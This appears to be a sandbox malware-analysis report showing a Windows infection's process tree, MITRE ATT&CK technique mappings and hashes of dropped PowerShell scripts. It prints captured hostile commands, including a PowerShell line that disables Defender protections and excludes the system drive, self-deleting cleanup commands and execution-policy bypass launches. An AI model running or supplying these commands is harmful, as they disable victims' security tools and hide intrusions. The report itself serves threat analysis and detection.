        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1736
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\w2000011853108822-5121004.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3236
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4960
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\cpgsr.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3592
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3736
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\jdfzr.js"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5808
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3444
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\jkndh.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5868
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3416
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\xghqq_01.ps1"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1200
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4164
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\ytdtx.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2444
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2168
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4440
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\yvfet.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:752
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mzwza.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4100
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\qrjjf.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:5572
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\ojdql.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mzwza.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mzwza.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mzwza.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mzwza.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mzwza.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mzwza.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5248
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\jdfzr.js"
        6⤵
        
        PID:1888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

mzwza.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\mzwza.ps1
Size 423B
SHA256 1c8b5532342f5e7d1bff5abed4b30794da409497b07ea7496784a75eebe09d3a
MD5 212f75cb5ac690ab7a477b75c58ed635
SHA1 36279d4f028423d0f0558615139de59430446e7e
SHA512 5ef75418ed650c6c9e48694efeece5feb6fb37f79a0bd6aeea3d34e6fa3e6535a6dcdf4cddd2c6208c84ac11c8f1688873620cd9d4941dc9b0dbc7dcb475e291
TLSH
T150E05500B9105678CA92A42093817BB08A77C28D33281201336A8F0FF208A5AA07D3AA
MD5 SHA1 SHA512 TLSH

Submit Download

ojdql.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\ojdql.ps1
Size 320B
SHA256 e7479fdaac9f6d09d75d82da448c68f7a2a915ff394ad5df97317e8dc940ce3b
MD5 7f8ad827cc2ff86aca9d38639da03400
SHA1 faa80661de6851429e3715af597f0ea666cdf785
SHA512 f8a7ca0617661eabc7e79608139121420b2904900c5229c1fd95fcc949134fa0774ed005352d60d729dcb758bf23a3260afb27003eeb92cf4ec671a8c57ab2d7
TLSH
T135E026103CA586B889A3C87662D6ABB4CA63E92C730D1101B3AA864FF600A2A546C55C
MD5 SHA1 SHA512 TLSH

Submit Download

qrjjf.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\qrjjf.ps1
Size 19.7MB
SHA256 7f6d1ee6d74823156d49bba17947ef20690e8c9a4847a07ca5132e4c12c1292f
MD5 f782b5f6a1bffa573e1772062abfd027
SHA1 35ae72feff4325b26746eae1764c1521feb7cf16
SHA512 71c38869a516f82af157cda6536475400a4d5c8e7bb245902083694881c394090854ac25c7570cafc62645578eee1e53e3d130c02ce1d97449055db6b14f8902
SSDEEP 3072:r5gb84nFwzX7O/cgVSPhCJIgP3CqwuzxhM/XP5vFpJga3d9dD5lGUcg6zfkWg+AY:S
TLSH
T104270E3DCEE8423EC2B7C929D9CA4A17F85A092B230CFD4A64D773975527183BCA215D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yvfet.ps1

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\yvfet.ps1
Size 418B
SHA256 1d20969c0492c9036a7a40487b3ac408618756085ec401b7c37d0a6d431e5714
MD5 3c5a83048cf0f86dbded52d9240cdc03
SHA1 f94b886e5f2def4b9524bb6cbe9e02474877e0f1
SHA512 de1604588c2b88e6fd7155995c2e828b84bd1cbe61b07f039ab8abe7482cc57fe4b990bc68c51aa85ad3cdd8047cef8d3ec50468120c58bc082420bff29302bb
TLSH
T153E0AB00B91446B8CAD2A4219381BAB0CA77C24D33280201336FCF0FF20865B607D3AA
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 0efbc3f52be05589456c88ee60a6634821ebc8e3ccbbddff61852e730274a07d
MD5 f3716fad8e309b893f8492cc6ab4881d
SHA1 e0424a5d87ede0595d7058b8735a686c2bb226fb
SHA512 a5fbc3b5b9ce6bab0dd7c8a3a85d9e499bbd29bd7914cf736d7aac5193e7531bb8578b9a8bb86418a1d8c42d3423e36622ea3e2c8f12043fc4dcd714064d28c2
TLSH
T16B71FE323275B0D4C9663F07192C19C463BF4396EA94AF4CB658620ED92B04BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 4dc468fa1a871b65e797ba5bc083d32ba8e6eebb29773718cc281a7753f2d99f
MD5 bba77e741f173c372050c7e9c12fcf1a
SHA1 58e612a0cecdd6f39e696c2e750ff0af2c21834c
SHA512 0a5423cf8ce936a3b53b6f04c1cb5b48ee4b8407df6bf23bc3819a5051fcfaba62f99661fd19d61aa0e023f9e83c04db3ab37de2245b5cf144b2037acaaf96cf
SSDEEP 1536:LflJdFinHzwWYyYkfv3QfKQiUpeyV11ODa5dbN++jH0YILMxCw3bibjoRjdvR7Ms:LflJdEnHzPYyYkfv3QfKQiUpeyV11ODK
TLSH
T14D537392E9204E75E2A65F3EF15622627D30394690F8113212DC25EFA987D930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
MD5 8cc7ea2b9efa9ad5aad92da62fe2bfdf
SHA1 1130ed4db303c31acf6549742b8ceffccbf7e863
SHA512 294f0f73e03dc35b0c3245f7953d5bd166c27de4a4936a98b58acd721953eed32fd5574aa880ea4475755dbbeb2432f802352101de5c7c205633537ef1139037
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5R
TLSH
T158538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
MD5 aaed13863ab38600c24e5ed7f18f0a28
SHA1 9ca5a8ead7bc29f4af3c7b52ae55df020443370b
SHA512 3d3cc08572a2db6e30dd0501ce19595f920ff1cfdd4611680665bceae3aac8e7c228b593ba067c0fd53986115d4ca80340bb434d3dc91bf7ad3e773580e1a2f1
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3BV3CNBQkj2zMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5L
TLSH
T1B9538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download